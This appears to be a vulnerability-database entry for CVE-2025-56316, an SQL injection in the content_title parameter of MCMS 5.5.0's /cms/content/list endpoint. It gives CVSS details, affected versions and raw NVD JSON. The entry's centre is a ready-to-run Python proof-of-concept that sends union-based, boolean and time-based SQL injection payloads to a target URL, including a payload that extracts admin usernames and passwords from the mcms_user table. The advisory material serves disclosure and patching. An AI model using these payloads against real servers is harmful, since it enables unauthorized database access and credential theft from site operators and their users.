Security Vulnerability Report
中文
CVE-2025-56316 CVSS 9.8 CRITICAL

CVE-2025-56316

Published: 2025-10-17 19:15:38
Last Modified: 2025-10-28 16:44:48

Description

A SQL injection vulnerability in the content_title parameter of the /cms/content/list endpoint in MCMS 5.5.0 allows remote attackers to execute arbitrary SQL queries via unsanitized input in the FreeMarker template rendering.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mingsoft:mcms:5.5.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mingsoft:mcms:6.0.1:*:*:*:*:*:*:* - VULNERABLE
MCMS < 5.5.1(ming-soft/MCMS)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-56316 PoC - MCMS 5.5.0 SQL Injection # Vulnerability: SQL Injection in content_title parameter of /cms/content/list endpoint # Author: Erosion2020 # Reference: https://gist.github.com/Erosion2020/5892757e0c6eeb647a218d1c3b323cff import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" ENDPOINT = "/cms/content/list" # SQL Injection payloads for content_title parameter payloads = [ # Basic boolean-based injection test "1' AND '1'='1", "1' AND '1'='2", # Union-based injection to extract database version "1' UNION SELECT 1,version(),database(),4,5,6,7,8,9,10-- -", # Extract table names (MySQL example) "1' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- -", # Extract admin credentials "1' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM mcms_user-- -", # Time-based blind injection "1' AND SLEEP(5)-- -", ] def exploit_sql_injection(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" url = f"{target_url}{ENDPOINT}" params = { "content_title": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url, params=params, headers=headers, timeout=30) return response except Exception as e: print(f"[ERROR] Request failed: {e}") return None def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Endpoint: {ENDPOINT}") print(f"[*] Testing SQL Injection in content_title parameter\n") for i, payload in enumerate(payloads, 1): print(f"[+] Payload {i}: {payload[:80]}...") response = exploit_sql_injection(TARGET_URL, payload) if response and response.status_code == 200: print(f" Status: {response.status_code} | Length: {len(response.text)}") # Check for database information leakage if "mysql" in response.text.lower() or "version" in response.text.lower(): print(f" [!] Possible data leakage detected!") print(f" Response snippet: {response.text[:500]}") print() if __name__ == "__main__": main() # Usage: python poc.py http://target-mcms-server.com # Note: Adjust payloads based on the database backend (MySQL, MSSQL, PostgreSQL, etc.)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56316", "sourceIdentifier": "[email protected]", "published": "2025-10-17T19:15:37.740", "lastModified": "2025-10-28T16:44:48.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL injection vulnerability in the content_title parameter of the /cms/content/list endpoint in MCMS 5.5.0 allows remote attackers to execute arbitrary SQL queries via unsanitized input in the FreeMarker template rendering."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mingsoft:mcms:5.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "2CCBC2D7-9B92-4686-8B19-2816755832DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mingsoft:mcms:6.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "AB888F79-83DD-423A-A0D4-7BE3EC62D289"}]}]}], "references": [{"url": "https://gist.github.com/Erosion2020/5892757e0c6eeb647a218d1c3b323cff", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/ming-soft/MCMS", "source": "[email protected]", "tags": ["Product"]}]}}